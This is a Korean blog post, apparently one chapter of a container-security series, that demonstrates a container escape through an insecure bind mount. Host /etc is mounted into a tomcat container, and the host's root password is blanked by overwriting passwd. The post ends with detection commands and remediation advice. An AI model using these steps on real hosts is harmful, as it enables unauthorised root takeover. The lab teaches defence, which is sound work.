개요
컨테이너 기술은 운영체제 수준의 가상화 기술로 Host 운영체제와 격리되어 실행된다는 것이 보안 관점에서 큰 메리트가 있다. 하지만 기존의 취약점들과 동일하게 관리자의 미흡한 설정, 격리 기술 우회 등 다양한 위협 포인트가 계속해서 발생하고 있다. 이 장에서는 관리자의 미흡한 설정으로 사용자가 컨테이너를 탈출하여 Host 시스템을 탈취하는 시나리오를 알아보자.
Mount란?
리눅스에서 디스크와 같은 물리적 장치를 특정위치(디렉터리)에 연결시켜 주는 것
Bind Mount란?
Host의 파일 시스템을 컨테이너의 특정위치(디렉터리)에 연결시켜 주는 것
부적절한 Bind Mount 설정 취약점
1. Docker가 설치된 리눅스 준비
2. Host의 /etc 디렉터리를 컨테이너의 /tmp 디렉터리로 Bind Mount 하는 tomcat 컨테이너 생성
[root@localhost ~]# docker run -v /etc:/tmp -d --name tomcat tomcat:9.0 |
3. 생성한 컨테이너를 /bin/bash로 실행하여 쉘 획득
[root@localhost ~]# docker exec -it tomcat /bin/bash |
4. ls 명령어로 /tmp 디렉터리를 확인하여, Host의 /etc 디렉터리가 정상 마운트 되었는지 확인
[root@localhost ~]# docker exec -it tomcat /bin/bash |
5. passwd 파일을 수정하여 root의 패스워드를 공란으로 변경
root@a940133bd638:/usr/local/tomcat# cat > /tmp/passwd root::0:0:root:/root:/bin/bash ~ ctrl + d |
6. SSH를 이용하여 Host 시스템에 root 계정으로 로그인 성공 및 Host 시스템 권한 탈취 성공
SSH 192.168.154.139 |
부적절한 Bind Mount 확인
Host 시스템에서 모든 컨테이너에 대해 마운트된 볼륨 정보 출력
[root@localhost ~]# docker ps --quiet --all | xargs docker inspect --format '{{ .Id }}: Volumes={{ .Mounts }}' |
부적절한 Bind Mount 조치
1. 주요 시스템 디렉터리 마운트 금지
/boot, /dev, /etc, /lib, /proc, /sys, /usr 등 |
2. 호스트 장치 파일 컨테이너에 직접 노출 금지 (노출 최소화 및 올바른 사용권한 부여)
예시) docker run --interactive --tty --device=/dev/tty0:/dev/tty0:rw -- device=/dev/temp_sda:/dev/temp_sda:r centos bash |
3. root가 아닌 user로 컨테이너 실행 (User=빈칸 > root로 실행한 컨테이너)
docker ps --quiet --all | xargs docker inspect --format '{{ .Id }}: User={{ .Config.User }}' |
'기술보안 > 컨테이너' 카테고리의 다른 글
쿠버네티스 개념과 보안 위협 (0) | 2023.11.30 |
---|---|
[컨테이너 보안] 2-4장. 컨테이너 탈출 (CVE-2021-23732) (0) | 2023.01.31 |
[컨테이너 보안] 2-3장. 컨테이너 탈출 (CVE-2019-14271) (0) | 2023.01.31 |
[컨테이너 보안] 2-2장. 컨테이너 탈출 (CVE-2019-5736) (0) | 2022.12.27 |
Docker 개념 및 구동해보기 (0) | 2021.02.24 |